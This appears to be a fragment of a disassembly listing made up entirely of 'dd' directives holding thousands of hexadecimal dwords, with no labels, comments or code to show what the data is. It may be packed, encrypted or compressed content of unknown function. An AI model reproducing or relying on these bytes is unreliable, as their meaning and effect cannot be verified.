		dd 0B05A7489h, 0F420F314h, 0E2032805h, 4BDA33F0h, 41022B48h
		dd 0A5A65B14h, 1AF860C1h, 0FF8A77E0h, 0D2839822h, 0E84DF406h
		dd 5098D040h, 0D360A8CCh, 0E3C16160h, 0CCA07B6h, 90CF7ED6h
		dd 21BAACFBh, 5E0010B0h, 2A648533h, 6EF1A5ADh, 27EC78BFh
		dd 84901B48h, 786EB099h, 34863820h, 909052FEh, 0DDF30554h
		dd 5B478C9h, 4CC52D1Ch,	2A2B1C02h, 50BBE00Eh, 0EA9E1271h
		dd 0C8E0058Ah, 41F4206Fh, 2C59D27Ah, 0C9720CC4h, 2EA61826h
		dd 9D6C7C50h, 0C12300BDh, 0ACA8F46Dh, 285AA00h,	416B71F3h
		dd 57FF012Dh, 4ED9B623h, 0F1883037h, 4A509160h,	98B270A9h
		dd 3A90B0E0h, 480684B0h, 0D828838Ah, 85803214h,	0AC722C58h
		dd 0FD95A643h, 0E449F08Dh, 0EC568C0Bh, 0FD0532Ch, 5098AA7h
		dd 0C25F8402h, 0D1A6F0C0h, 47F03641h, 498C998Ah, 5AECE4A8h
		dd 2D027C66h, 270C1D9h,	417C6277h, 0BC743234h, 2918378Ah
		dd 0D3275028h, 5137552h, 0C48248Dh, 1B21777h, 6D8358ACh
		dd 8DEAD831h, 0CCFD8F00h, 8678C088h, 14820F03h,	6FA88A09h
		dd 0D7ED3207h, 0FF0B0EE0h, 19D4E064h, 0B883F8D2h, 0E03031ECh
		dd 10C01267h, 0FA9F070h, 0A4A53EDFh, 8B132C48h,	64C16DCh
		dd 2828EDB8h, 9062605h,	8024B6AAh, 7431E0C5h, 603422D9h
		dd 60CA0082h, 8DC407C0h, 1B000DFBh, 0DEB23BE4h,	4FB8AAh
		dd 0E23879Ch, 0BF10B5EBh, 7A06A27Eh, 0ECF9DD33h, 98B48C40h
		dd 8654A570h, 20B98A0Bh, 9F7EA618h, 49298688h, 30667426h
		dd 7513887Dh, 890062ADh, 0DA8BFF2h, 5EC30CEBh, 7780F9Dh
		dd 8300D24Ch, 582C0853h, 830018C9h, 72DF6721h, 0C574CC4Eh
		dd 1AFD0A00h, 3F89E9E1h, 9E540179h, 53A8D22Ch, 0E94F3178h
		dd 98B93Ch, 2D75B48Ch, 253A6786h, 500025A6h, 0ADB3395Dh
		dd 84D2AA0Bh, 0CC1C2462h, 26051C88h, 800CE34Dh,	39553E23h
		dd 0A50CCD4Eh, 30602BD2h, 74045820h, 45203058h,	2E0ECE01h
		dd 0D3FCBF88h, 296A430h, 523165Bh, 24C860D1h, 7B293486h
		dd 4A02A488h, 81FC7292h, 0F5F405F8h, 8A5D7882h,	30C8815Ch
		dd 0BC055BECh, 0FCD38F3Dh, 49600B82h, 5AF9BE78h, 40E72820h
		dd 4CA01B5Dh, 0A8900AB0h, 24B20B20h, 6218020Eh,	25043557h
		dd 107A98C0h, 82F0F73Eh, 0A0549211h, 3DEA5C04h,	0B807CAFh
		dd 0F25BD476h, 70001BC5h, 0D2796C42h, 0B2ADE925h, 2F1F001Ch
		dd 0F02D4748h, 860F5E4Ch, 1DD92531h, 53DA683h, 1890F5C7h
		dd 2D3CFF2h, 4B50D1Eh, 90A76457h, 0AA07907Ch, 820C6945h
		dd 9066B9D2h, 0A8277B29h, 0B82A74D0h, 0D59D2448h, 0C2C40398h
		dd 30E7C3EAh, 0D27E8690h, 387A8A30h, 26055E80h,	5209867h
		dd 1006235Ch, 4E84C0D4h, 0C74918Bh, 43C34AAh, 9C5B040h
		dd 2D3F1CE3h, 0A7115880h, 344C22F7h, 87F5008Ch,	508A59E2h
		dd 8C3094B5h, 0ABC922FAh, 7499357Bh, 0DD941980h, 98AC68D2h
		dd 7AEA3EB4h, 9505F4Eh,	7C214426h, 76EE2CA9h, 0CB284C68h
		dd 86BC8117h, 0B42308ADh, 0EB150509h, 76631C00h, 0BC2EE601h
		dd 620347A1h, 3CDE308Ah, 56923C40h, 77B8882Ah, 13F4AC48h
		dd 0E830897Ch, 30D273A0h, 9E914702h, 0E69DD85h,	25448771h
		dd 0A4A4B8BAh, 6A0FA08h, 58C7FD8Eh, 0F53780Dh, 0DC604137h
		dd 0D9417B2h, 0ACBC20EFh, 90B28AB4h, 0EA2F3301h, 3F133E75h
		dd 37ED8BE1h, 9040D477h, 1A80807Ch, 1D2FCA12h, 861F7446h
		dd 20A09008h, 0AC06D184h, 0C44E8AE8h, 6EE0A098h, 6FA01F37h
		dd 0FAA58612h, 7605584Ch, 27408A5Eh, 74870D6h, 0F1AE51C3h
		dd 1F04601Bh, 148AF8Ah,	0E14C50A4h, 0BC202901h,	43A5A42Ah
		dd 5A37864h, 0FE26AB81h, 0A6448C70h, 2BB90D20h,	9681727h
		dd 40995F4h, 94007C29h,	3FD0DC9Dh, 5E02A616h, 0CCF1604Ah
		dd 705260ACh, 749B00h, 44063022h, 1060AA8Ah, 5B7B35B0h
		dd 0B95C3B0Bh, 5370C07h, 0AA50BCFEh, 0A4CAB51Dh, 0ED0DA080h
		dd 5340E90h, 0A5A22AC0h, 55BC93BEh, 0C8060FA8h,	35AD120Bh
		dd 20180A05h, 5828A068h, 7E887A1Ch, 38239FC0h, 59E30Eh
		dd 7083F109h, 17BFD622h, 6446102Eh, 0C5E090E9h,	39480F2Bh
		dd 4C202D7Ch, 88140764h, 897BBD00h, 84D7D2AFh, 4A5A2A8Ah
		dd 260C7AD4h, 1E3CE7C4h, 197C1A0Bh, 20E97442h, 6E890157h
		dd 0F268B080h, 9176E7A4h, 0F4D598A0h, 5F153901h, 0ED2CA172h
		dd 9C830844h, 0BA510068h, 0B361BD0Fh, 0E02674Ah, 865C5E10h
		dd 27A8E0C9h, 172901BCh, 0F26CF79Ch, 435D8D0h, 86799001h
		dd 76DC6428h, 7C68E020h, 0C5660195h, 97A61ED5h,	13B0423Ch
		dd 0D994C4E0h, 101A0F24h, 8AF4ACC7h, 0F53BFCF0h, 0C00845h
		dd 1E0EC686h, 0CB65C454h, 0C4229B01h, 8040CF04h, 0B0140C0h
		dd 8A6890BAh, 0D024D94Fh, 800B81Bh, 518CC627h, 72FE1600h
		dd 0AF4697Fh, 3FB0A9CBh, 11FB089Ch, 4DBD5D03h, 0E855A378h
		dd 24BAF056h, 120B7C9h,	3E45DFD6h, 8D61708Eh, 348208A2h
		dd 0EA034275h, 837EA099h, 0A9740224h, 9C5A2B1Ch, 0DCD61A60h
		dd 8AECF117h, 208E3871h, 98F8260Bh, 0DC706700h,	40C8D1E5h
		dd 4CF9EC33h, 0C23E0C20h, 8C6A2C0Fh, 4AB2009h, 18C81FB4h
		dd 4275A2Dh, 974E9318h,	7A109CD0h, 0A02BFD40h, 22633B4h
		dd 53619F8h, 9C4850F2h,	90005982h, 2D4E17C3h, 1FB76D2h
		dd 0C4EA70FCh, 0A6511204h, 2E939C28h, 8E01188Bh, 0FE0B6817h
		dd 783423A5h, 390244B1h, 71551305h, 0DE1B0450h,	601CA0F8h
		dd 12CF6740h, 15DF65Eh,	0E63B04C0h, 84A0818Eh, 15C5A3D0h
		dd 9BC7F8E0h, 827D00F4h, 297F5056h, 80A5F239h, 0C57B0ECBh
		dd 78A61AF5h, 1A896E4h
		dd 0FCE35E5h, 986C2033h, 77C96F04h, 4384DBDDh, 0D1800981h
		dd 0C1074032h, 0E1203DA2h, 30898B12h, 24FD0415h, 0E4AC3270h
		dd 0C4E234Bh, 10C4D537h, 0A9120301h, 0FC80492Dh, 34FB00C1h
		dd 0AFF2D258h, 0A810E4A3h, 0DD0BD4CEh, 300CECE6h, 7F007EE1h
		dd 0AAF19C9Fh, 9ED91AFh, 0E20F77CEh, 45DA4480h,	9400AEC9h
		dd 0E386AAE0h, 0C0476304h, 0E1255160h, 0A30E2B34h, 8013782Ch
		dd 0CE2F3562h, 0D27D0938h, 3880F18Bh, 0F9C4FABDh, 0F7A60C0Ch
		dd 7DB043h, 533B92B2h, 9AD61FC7h, 8998EA01h, 0ED4D263h
		dd 57BCF881h, 0E06DED70h, 2A00541Fh, 8CAA823Eh,	4A71E40h
		dd 0D1F66625h, 451495D8h, 8182C060h, 107E5DCh, 4820B812h
		dd 31675A10h, 75E353ACh, 9A1ADCDCh, 53ACCA0h, 0CEA4B24h
		dd 0BFB5AC0Fh, 6C161FD2h, 4119180Ch, 72B204BBh,	546DAD2h
		dd 0DC393B26h, 860B4466h, 8983C65h, 251D617Fh, 0DD8EA727h
		dd 90013378h, 3B3D126h,	1FB99C30h, 0D3EE6Dh, 0C6A9F9ADh
		dd 0DC31A641h, 0E51B5068h, 7213420h, 5750F2Ch, 4061ADCFh
		dd 68628680h, 0D2A4C604h, 240116ABh, 78569627h,	0E0E7C900h
		dd 30D27930h, 9FB90C88h, 0EB03FB0Dh, 1CE8AD4Ch,	0B8A9D09Ch
		dd 13ED7179h, 4168E1Bh,	4739F994h, 0A9A4D21Dh, 0A6293880h
		dd 0D83D4C71h, 2468C1D2h, 0B4AACC06h, 44B489Ch,	4882F870h
		dd 87787167h, 4B558705h, 721A5446h, 0A35012B7h,	124A830h
		dd 5A76B519h, 0A44B1F8Ah, 0C26D440h, 5D1B867h, 0EC40DC16h
		dd 599B0B5Ah, 6E1700ADh, 0D4C0933Eh, 190E50CEh,	83F35484h
		dd 0C2368D27h, 209CF806h, 2DF4CAABh, 9977F005h,	0F400DAB2h
		dd 55B05F06h, 0D6537805h, 57500068h, 0A6036CCAh, 0B797E20h
		dd 1A5D5372h, 2ED2F498h, 429CB150h, 0C3DCCC00h,	0B27ABB88h
		dd 97A53098h, 0E7F52DC9h, 62B48E01h, 2F6A0F2h, 0DECDC140h
		dd 75A6181Dh, 0AB386152h, 9A70A515h, 3B6050F4h,	0B5523090h
		dd 0B403EBCh, 99CFF2CCh, 247CD488h, 7B50828Eh, 7889F0B6h
		dd 242084CAh, 58411C80h, 0B2561868h, 7A5DE8ADh,	0D72DE707h
		dd 0F60483Ah, 2520C3C5h, 702BFE66h, 811E9C90h, 304EA02Eh
		dd 25077B00h, 0F0D8FD72h, 313D09ACh, 44E187A5h,	8A97FC35h
		dd 0D8C5A92Ah, 7B89BC60h, 0B35AEC5Fh, 69278464h, 0D46CF267h
		dd 0C68A13A2h, 30E9C8C7h, 253B25D4h, 38381F27h,	20CD4A44h
		dd 0E9E06880h, 0B4F8804Ch, 0B2867802h, 40600711h, 0F668F48Eh
		dd 0D5FD3E12h, 5AAAA100h, 627E0DBAh, 800E5C3Ah,	83D3FE54h
		dd 0B0462A72h, 563F884h, 0BB8A598Dh, 2610800Ch,	8B404ACh
		dd 4CCB414Eh, 0A4248B10h, 58E55DA6h, 6C910A7Eh,	0C0ABC7h
		dd 7388A51Eh, 0DCB8185Eh, 5A9CD000h, 0BD2D2AD8h, 0CA1A0058h
		dd 4D22621h, 4C7CFE0Ch,	2282D600h, 99F25194h, 55F40B6Ch
		dd 0B880DD10h, 338F200Eh, 80AACB38h, 7D733291h,	28FC8E66h
		dd 9808B9A9h, 93ECE1BCh, 51589612h, 2E050C8Ch, 6FD46BBAh
		dd 85F81904h, 58C88194h, 84283992h, 0CC140B86h,	1E9A5012h
		dd 0D5374990h, 0F2F05C44h, 0CA116667h, 0EC0FF38Eh, 0D8CA122Fh
		dd 0CCEC2D17h, 1BE0CFF4h, 0EA00387Ch, 73CA48C5h, 501D428h
		dd 5529225h, 0B2E8D061h, 0EC5E0D99h, 44B9F022h,	6DA61038h
		dd 0C4274A1Eh, 77B8E218h, 2D1294FAh, 0D00498A3h, 5600658Ch
		dd 75524725h, 0AE7EB2EEh, 8D37FE05h, 0E4007861h, 28EF5107h
		dd 68D5002Dh, 7230BB3Eh, 0ED502CD1h, 0A851F208h, 29D46114h
		dd 0A6220414h, 0DC93BEC4h, 0AFD4E107h, 1B384072h, 0D2980D04h
		dd 27A4E085h, 0EA526C98h, 0D5291494h, 0BAAD1218h, 340A8457h
		dd 0A5048C7Ch, 7B0035F1h, 0C132D688h, 91EA5602h, 0AB189C04h
		dd 2F0840A0h, 812B070Dh, 69398A5Dh, 553D7802h, 0B00918F9h
		dd 75AC8635h, 0A6250881h, 25BE09B6h, 50646A1Bh,	2627F000h
		dd 0CA742649h, 93F9EE4h, 104876CBh, 34B0EE10h, 84D08A44h
		dd 510E8613h, 540CC8h, 0C87E1136h, 8040B1AAh, 0A679B704h
		dd 94D0B8DAh, 44F7DEDh,	0BF8A1737h, 0EA5C1D72h,	0AD71F100h
		dd 17CB4EF3h, 45EB9DBh,	143B533Ch, 9BC800A4h, 0E40E44E9h
		dd 60FC753Ch, 0E6EB18D1h, 8D1CB81Ch, 6E85691Eh,	0E8D0B3EFh
		dd 0B98EF359h, 0EA5B8E5Ch, 0DE0104E3h, 8CAB181Fh, 39BC2E82h
		dd 0F88E007h, 30C6807Fh, 0B801D6F8h, 0B6AB098Eh, 0A6F175CBh
		dd 975C452Bh, 89C4000Bh, 81F86DFEh, 0C8A9057Fh,	2E482464h
		dd 0C20B08EAh, 23D0725Ch, 0F88037C0h, 0A6543C95h, 34853BE0h
		dd 0C77D586h, 0F04E60BAh, 0EF890C1Dh, 80C8CCB5h, 0B0EBE1D4h
		dd 4C55B04Ch, 0EE84B4DCh, 0CDF2008Eh, 506F0DB7h, 511AAC83h
		dd 419DA8A6h, 19325E58h, 71B48168h, 0D9984ACh, 60532EF0h
		dd 1D04A67Ch, 0EA2618C0h, 0C0D5D723h, 8AC3AD91h, 1297650Bh
		dd 83581A10h, 0E4AA0EE0h, 12209088h, 1EC936A6h,	81D286B0h
		dd 4E02183Dh, 1BE3D653h, 2028D006h, 2739C313h, 175164B6h
		dd 18D8E8C1h, 48489473h, 62C4D72Ch, 0CE019CCAh,	72E02C0Dh
		dd 3910C97Dh, 6773CC78h, 80C4D119h, 54741F30h, 0F3A61223h
		dd 0D65840A1h, 390441A5h, 68B98803h, 92C1AEAAh,	2F86067h
		dd 1244B92Fh, 0EBD88038h, 7E2904BEh, 3F00A034h,	0A61007C4h
		dd 0DD8C408Ah, 4C57472Ch, 94B80844h, 683E4577h,	480E979Ch
		dd 87412A51h, 108EAA00h, 1322B386h, 1CB190Eh, 0E3D214A3h
		dd 1F3C327Fh, 34C40939h, 28A8C025h, 57711801h, 437D12D3h
		dd 111317F0h, 7C993FB4h, 0E659060h, 0DCAAB169h,	9F3E8A22h
		dd 8E51D456h, 4CF0BBE1h, 0A2F9A066h, 4240C030h,	9B1277C0h
		dd 5EC83756h, 0B5B1400h, 999A97Bh, 0A8053774h, 8AF8A858h
		dd 68237737h, 90D1FF80h, 4338C471h, 49D883C4h, 545A482Ch
		dd 6E63A387h, 0F74E602Eh, 2F300ABDh, 0FCB0A208h, 25F3D805h
		dd 0BA07E8B0h, 26BCFCBCh, 0DE00A0B9h, 0D2D12E2Bh, 586E5D6Dh
		dd 47056005h, 0F4CC849Fh, 98E0D23Ch, 0B48810C0h, 17CCF92Ch
		dd 459332h, 755449BCh, 74A0516h, 0E353F080h, 767D003Dh
		dd 0D1FC9C1Ah, 60C054A9h, 0F0010E36h, 4C8E0725h, 4A58B12h
		dd 122CB310h, 7431AE53h, 0D180ACD2h, 0E26607Fh,	89070FC2h
		dd 20FBF054h, 41C0EB80h, 0D2DE0AD1h, 94E43303h,	7D8584CBh
		dd 1AC42353h, 51583000h, 90AA6AC0h, 4298010Ch, 0A9E3663Bh
		dd 0E0840B8h, 29D25903h, 4C9C1055h, 60819624h, 59D20828h
		dd 0A3A66150h, 0ED80806Ch, 553E6BD5h, 21DD02E3h, 7AEFAB0h
		dd 2BF1D896h, 8A605402h, 0E2A0C8E7h, 0A748B47Bh, 48A09C07h
		dd 6BAA509h, 1282107h, 8313752Dh, 0F0E3AE38h, 5C9232D3h
		dd 7C6BEF3Ah, 8CAA641Dh, 1C637183h, 0B4A9E18Eh,	70E0840h
		dd 5E29C06Ch, 759C3FBEh, 3AA6740Dh, 0FC7270A4h,	2444EC88h
		dd 8A3834F4h, 131ADCC0h, 5B8480h, 424D62F0h, 0B42A76B7h
		dd 48AA0724h, 90119C48h, 4D0602Eh, 0C76088Ah, 1E1B2866h
		dd 802F05CEh, 808407AFh, 649EA2A5h, 0AC117217h,	0FDA0120h
		dd 0FCCA5B42h, 50726020h, 1232E0DDh, 0AB870D2h,	18BC64h
		dd 2363D8Ah, 0E35BAD45h, 0DFD26804h, 4E78E4ECh,	55890CCh
		dd 98970A08h, 0B0B5164h, 62D283E8h, 0FF4EE0C0h,	75F4C60Eh
		dd 0A04F8CA6h, 173C9876h, 940466A5h, 0F49C120h,	824C6050h
		dd 7834084Eh, 415318B0h, 4444079h, 8816BA4Fh, 0A800BB5Bh
		dd 0F85A17F1h, 0ECA63FAAh, 94A93BFh, 0A47B92A4h, 0F5A5923Ch
		dd 1E104454h, 64268A9Bh
		dd 5A016307h, 0C4AEEC72h, 872F0014h, 20B29FB5h,	15248003h
		dd 0D603E20Ah, 882AA489h, 1F0D72h, 2CDFDC8Ah, 0AB2B8CA9h
		dd 3A4D523Eh, 2298C07h,	5A18C8h, 392E7BA7h, 7E417850h
		dd 9AD1701Fh, 71C71180h, 1FB75B5h, 36DC6A6Eh, 20A15F56h
		dd 0C90E69CEh, 808A5150h, 0F75B89A6h, 47F03C6h,	17C00ED9h
		dd 0A511ADB0h, 72022600h, 0BF5F708Eh, 741400F6h, 671064D4h
		dd 250EA6E9h, 0C10F5616h, 0A3A2892Dh, 0C905C087h, 6C62830Eh
		dd 4E211067h, 70FC8570h, 0D1AD0E8Eh, 2A8001A3h,	0A9A8C9F3h
		dd 1089B130h, 609CA572h, 0DADC783Ch, 0EB1F051Ch, 0A0013061h
		dd 0CB927FCDh, 0C959A0F3h, 0F80A1164h, 20C12072h, 3F014DABh
		dd 0F139D756h, 0F8EFA983h, 1C4E8CA6h, 0B061044Fh, 6A5EAF88h
		dd 8BA9710Fh, 6D0332F6h, 1324AA5h, 0ABE960F9h, 8376F02Bh
		dd 0CBF12A30h, 0EE6078A8h, 325606FEh, 20625E04h, 0B2876F00h
		dd 0CE14BF2Bh, 75AC0072h, 0FDDD851Bh, 0D1141564h, 58D099E8h
		dd 18A83C02h, 1D5856BEh, 0FE3820A5h, 80DB1A3Fh,	45847EAEh
		dd 18038223h, 7893E889h, 2E00262Ch, 0B3793E56h,	30046A76h
		dd 9F805BA3h, 0C261BF89h, 58EC9428h, 0A36691E0h, 9B9AF008h
		dd 8AE906F4h, 39500488h, 0CFF16414h, 0D42E006Ch, 0EB90B76h
		dd 44A5141Eh, 2B00BCBFh, 7A1165D5h, 0EA1F893Dh,	612C718h
		dd 8E41C11h, 7704D1h, 0D395B9BFh, 2C30A518h, 0FD5958A1h
		dd 0C2E4989h, 0F4043706h, 0F5EC801Eh, 9DECD20h,	3676853Fh
		dd 66C1422h, 20A51900h,	2C48C062h, 0F37F97C9h, 0A4F15803h
		dd 0C819B167h, 7275D0EBh, 0A44754A5h, 9CB0DAh, 64C17EFAh
		dd 0BF7161EFh, 0B3A97609h, 0B38228Fh, 9B1C40B1h, 90018422h
		dd 11BF330Dh, 208A0699h, 4490C9F1h, 55588477h, 6F83AC20h
		dd 0DEC0A8E7h, 0E25023A4h, 0DF39199Ch, 3061B089h, 30D1058Dh
		dd 1A404E17h, 5A001E8Eh, 0D5ECE2C6h, 108CE77h, 0AEC9F232h
		dd 0E8359312h, 0AC48FED1h, 0C3F7001Ch, 0A4A2BF3Bh, 902E606Bh
		dd 0F15E3F12h, 18628A06h, 4481A97Dh, 54901163h,	48043608h
		dd 8966020Ch, 9C48A965h, 4D0761ECh, 462F9C1Ch, 29B63h
		dd 2045C04Eh, 0AA2988BCh, 72573F0Eh, 7812B2Dh, 67C2B06Ch
		dd 37586038h, 70DD984Fh, 0D82C60D1h, 0ABC981EBh, 7E89B609h
		dd 1BA01052h, 44EC030Dh, 0A9906321h, 9A7E84F8h,	0F48D3205h
		dd 803B1A8h, 2445040Dh,	1FD4B329h, 8892CC7Dh, 41B8EB9h
		dd 0F85861C0h, 0C4826D89h, 88B90718h, 1D205248h, 71E93C47h
		dd 8801BCD1h, 6CBCF2C7h, 80303424h, 0CCEBB887h,	0EF0C9B77h
		dd 184612D0h, 8ABC03C2h, 3DDC895Ah, 533C6015h, 29AD00BCh
		dd 68A96A06h, 1CD72489h, 0EC0C0688h, 0D118212Dh, 71481108h
		dd 40C898B8h, 560C1E66h, 28486BA5h, 0C1D0A326h,	1080FF7Ch
		dd 0FC43CBC0h, 0A1360BFh, 8C44A6A4h, 2C055AA2h,	89A820EEh
		dd 1CB26DB1h, 9D990607h, 2AA9194Fh, 4062CC5Ch, 5C849826h
		dd 9BB03089h, 0C7156D38h, 6A463Bh, 7DAAE95Fh, 0CC486ED1h
		dd 75826F30h, 0DE8578C1h, 0B1F18DFBh, 41F73C34h, 22EC610Ch
		dd 0EB0D14E0h, 66608F80h, 2918CC29h, 8F9C523Bh,	1D73327Ah
		dd 0D32D0064h, 9CAAA54Fh, 1640AC9Ah, 81347585h,	4A086B1h
		dd 180EF79h, 0E3DB235Ch, 804541D0h, 6B847578h, 38D0516h
		dd 4C7014E5h, 9E03DC1h,	7F843B6h, 8979D490h, 0D4A9DB68h
		dd 4CC35D64h, 1A190236h, 0A7A11C2Ch, 0D1067660h, 7B85009Bh
		dd 4C198B1h, 41306B9Ch,	8F8B00E9h, 0D152EB2Ch, 7105C4F4h
		dd 90A975B4h, 600B8C22h, 90051E94h, 94BC0050h, 3D2EECF2h
		dd 4A601004h, 0A6B15088h, 760AE8A8h, 1E9F0DAh, 185AC951h
		dd 0D03DDB26h, 6A788B36h, 9727891Fh, 61EA0507h,	50168DC0h
		dd 72C711Fh, 8B12BBD3h,	30D8C75Ch, 0EE98978h, 0DB005090h
		dd 34B0FA4Bh, 0E10F8304h, 2414F8C3h, 0F2F51CE9h, 0F02847FFh
		dd 0A3E8375Ah, 24174CFDh, 8606835Dh, 0EC2C1C89h, 8119C05Eh
		dd 3DAB0EF7h, 0FE7E087Fh, 48C0DAECh, 7C21BF57h,	0C11C001Bh
		dd 0C78107EFh, 68092BB4h, 0FFA8975h, 4A8D0D39h,	32CD8C0h
		dd 0B15153FDh, 6FE85043h, 0E918E788h, 8B226690h, 0D3D8E324h
		dd 0FA9CEA3Ch, 1A0A60C9h, 33B3EA81h, 68259D06h,	40DB0DD8h
		dd 95602B0Ch, 0D3EB8010h, 53593D66h, 0A8F57099h, 0E31CD958h
		dd 317C0C60h, 0C38BC888h, 4C4813Ch, 0C108A103h,	69B5E9h
		dd 6841EB73h, 0C3014414h, 88CCAF1h, 711EE10Ch, 54C4E30h
		dd 803C8F16h, 6CD8DCDFh, 0CA6B6887h, 4F36581Eh,	0B2D2086h
		dd 9DD56431h, 0AB40E189h, 38AA6AD1h, 18506845h,	994964CEh
		dd 442680C2h, 0D00029B2h, 5D8015Ah, 75A62EA2h, 60970047h
		dd 51557A25h, 4301D368h, 0E9592458h, 44831F3Eh,	207F83ADh
		dd 7840F80h, 0C65B3C60h, 76D739AAh, 56EC5008h, 0D889EB89h
		dd 28184122h, 432A6853h, 5415117Bh, 12710558h, 1420E4E0h
		dd 1FD02331h, 4CDFF763h, 0B8240519h, 0B955D100h, 0AA33BD68h
		dd 1970346h, 2941E9C5h,	99352200h, 2D38B15Bh, 7AB0EA67h
		dd 52830739h, 0B0487195h, 0F4D079D2h, 0AFE9D2A0h, 52381260h
		dd 0EC09CB2h, 0D2F605EAh, 8003E2A3h, 0D7882BC0h, 0BF045A03h
		dd 0A02CF828h, 34E95B66h, 5FB0F150h, 0CB02D8E4h, 34F8FB29h
		dd 0E2AC5FF4h, 24963348h, 0D8889931h, 0CF810006h, 0F5B2071h
		dd 31048890h, 4F50A343h, 5E0BA580h, 0E9B70929h,	5A203858h
		dd 0C6FE2DEEh, 86526600h, 0F601244Ch, 0E306A3D1h, 8826505Ah
		dd 0C18A44C8h, 890688D1h, 0DB892387h, 8BCC12EFh, 173712Ch
		dd 500630D3h, 900D0EC0h, 0F4053E14h, 0E73D54B7h, 8A88A0DFh
		dd 0F89181D5h, 0F5A66EDDh, 0DE579EA9h, 0DB92DF40h, 0C58128C0h
		dd 1E6F5C5Fh, 14D5017Bh, 0AC5108EDh, 0BCA508EAh, 36F06E19h
		dd 334C9A31h, 68004806h, 6F266D61h, 0A9E5CDBEh,	58C2D5Ch
		dd 1D660A7Ch, 373E5E68h, 0D3BED399h, 0BD55561Dh, 4D021D80h
		dd 1D77E581h, 0CE19CE7Ch, 5F395BE9h, 5FFDC8CFh,	0DDF7590Fh
		dd 92A8CE57h, 46B9C640h, 6F272515h, 69CA72C1h, 0E8218AF1h
		dd 0C20958ACh, 52E2D100h, 0D819C3BAh, 30AA9978h, 5B61B9DCh
		dd 50CE2AEEh, 0E70A4506h, 55C79C47h, 586F8300h,	0C0B6280Fh
		dd 0C3874993h, 0BE009CD0h, 10C81170h, 0FF0DEE83h, 206731E9h
		dd 209278D3h, 1E905489h, 2F9E4309h, 2924995Ah, 9E7DE21h
		dd 741853E0h, 33C96780h, 550F163Fh, 2005E1C1h, 364CF6E9h
		dd 0F7513475h, 22208134h, 0E9000508h, 171077DCh, 0D6EF0081h
		dd 0E931875Eh, 0EBAAFA75h, 1AF0F322h, 89C4ED6Bh, 6BF0A019h
		dd 870C8362h, 5BFF913Ch, 1001AF31h, 0C422BE56h,	5EF30109h
		dd 0D04BB33h, 342E95Ch,	882D0990h, 56339247h, 987ED15Ah
		dd 0B6E91995h, 595C1015h, 99C2F3B0h, 0EE01D564h, 4FCD1A34h
		dd 0EA47C601h, 12253190h, 8EA03C1h, 81DCE951h, 68503005h
		dd 0D35B2376h, 6447F1C4h, 3C7134h, 5336A56h, 53667429h
		dd 2EAD9FA0h, 99316B38h, 0F74C5FF8h, 5D529C47h,	83A1A9D2h
		dd 0FAD001A0h, 2C16C80Ch, 0AC079809h, 53D4FE2Ch, 3178B235h
		dd 5A101C32h, 0D6C1CB55h, 0BE0F0047h, 895012C8h, 902D74E0h
		dd 0D0346E78h, 63EE5B60h, 906ACB41h, 13F52614h,	20B28C0h
		dd 1187B1A7h, 940CA01h,	0AECBD655h, 3298004Bh, 0E5E4313Dh
		dd 68BBB442h, 62F82142h, 5452648Bh, 23C2CA84h, 330C2483h
		dd 45311731h, 4045DB54h
		dd 0E67C3A9Eh, 4372933Fh, 0F46135FAh, 8BD82952h, 0D883FE42h
		dd 5D001F1h, 34D43743h,	0F854C1C7h, 25B02B49h, 0F10501E9h
		dd 0C040B92Ch, 15531CFFh, 0AEBBC177h, 205D3042h, 6401D236h
		dd 0D6F73732h, 6A71E6C1h, 1291D020h, 1F315250h,	18EB1B41h
		dd 340FF9Bh, 918BC2h, 0B88C56B4h, 0BDFF55Ch, 31C6E9B1h
		dd 831BB712h, 0E0870C28h, 0C8325C59h, 6192240Ch, 36C3305Ch
		dd 84A94813h, 0FACDD467h, 65BE8D10h, 79020A06h,	420DEE29h
		dd 1948F021h, 0E9245456h, 5F8FD502h, 0C727F28Fh, 21FC4C3h
		dd 2780C7B1h, 404B51FCh, 8175CDF1h, 22EEEB1Dh, 39EC344Bh
		dd 3116D25Ch, 2D0F3CBh,	5682878Ah, 9260E6C5h, 0D00C78E9h
		dd 9927E4Ah, 4F800346h,	28DB095Fh, 0ECE94112h, 0D9019544h
		dd 6370F3C0h, 293424C2h, 0F9B3229Eh, 6901A62h, 1683878Ah
		dd 2A965D5Ch, 8A5949A0h, 8C0248DAh, 6095DDEh, 1FC98F33h
		dd 8919ED80h, 19A83E2Bh, 0B998BCAAh, 6EDBD20h, 97F58103h
		dd 34A4603h, 0B35F2982h, 9E00D123h, 543BC8EDh, 38B850DFh
		dd 600146EEh, 6F30905h,	8D2B20A0h, 48516680h, 9E1A34B5h
		dd 924CD060h, 87490684h, 77A1033h, 0EB285A04h, 62D68166h
		dd 0F3318083h, 5E3D04BAh, 34D97D89h, 11A251Eh, 8C0CE4A8h
		dd 9BF7D968h, 0D0C65D4Ch, 30C2A4EDh, 0CB12EB01h, 0F8300806h
		dd 56954E11h, 0A03F589Ch, 86DC242Eh, 0F80E2648h, 79E1EB09h
		dd 0B89A86D9h, 23BD00C1h, 0C1026A37h, 831407E5h, 69201C5h
		dd 0C8C71CAh, 0B36010Ch, 7FE9502Fh, 0C1BD41F3h,	0CF0A20E7h
		dd 9E5DD909h, 0EC578314h, 0E055BB36h, 301BBFE2h, 0DA0C67FFh
		dd 7C09194Ch, 0A2AEE94Ah, 428B662Bh, 82AE654Bh,	56505E54h
		dd 492627C1h, 0E6285716h, 483B6E57h, 0C126051Bh, 88303E2h
		dd 0F8621107h, 0CD3122Ch, 0BC7360C3h, 0F4516C8Ah, 0AB40B049h
		dd 134D3D12h, 22CF012Dh, 0EA022CEDh, 4244924Ah,	0AB64508Eh
		dd 2E077B5Ah, 407BEE51h, 576C3DE6h, 0DFDDBA0h, 0C04E230h
		dd 0FBE364B8h, 74163600h, 356A0C5Ch, 0FA543AE0h, 91FE1872h
		dd 0F32BB74h, 4B25F348h, 7629C06Bh, 3A43CFBAh, 126A5EE5h
		dd 68FE422Fh, 17594B52h, 3FE0BA01h, 984271B6h, 868D8402h
		dd 16A805Dh, 0CD29DD59h, 740D6E9h, 83A23302h, 0D656CCBh
		dd 0F1CC63A0h, 0E30431AAh, 602DEA0h, 6836FC9h, 9CAF5BCFh
		dd 84CE6958h, 9F152E38h, 4ECEEC1h, 6324B700h, 4983E932h
		dd 48054D77h, 0C72B8E37h, 1064C368h, 925E1829h,	9657290Eh
		dd 96E0C336h, 0B8026B9Fh, 0BE710E8Eh, 14EB8C88h, 0C20E65Ch
		dd 0DC19262Ch, 270F6C69h, 1B207D3Ch, 0FD069AEAh, 4CBB2B58h
